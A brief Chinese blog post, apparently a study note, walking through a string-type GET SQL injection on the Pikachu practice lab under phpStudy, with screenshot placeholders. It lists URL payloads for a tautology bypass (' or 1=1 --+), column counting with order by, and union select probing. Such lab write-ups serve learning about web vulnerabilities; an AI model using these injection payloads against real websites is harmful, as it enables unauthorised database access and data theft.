phpstudy-pikachu-字符型注入(get)

截图.png

在查询栏输入1,点击查询获得查询格式

?name=1'&submit=查询

截图.png

*捷径 ' or 1=1 --+

截图.png

*非捷径

?name=1' and 1=2 --+ 2--+&submit=查询

用不了,直接查

?name=1' order by 2--+&submit=查询

?name=1' union select 1,2 --+&submit=查询

posted @ 2023-05-06 11:04  我用歌声寻觅你  阅读(51)  评论(0)    收藏  举报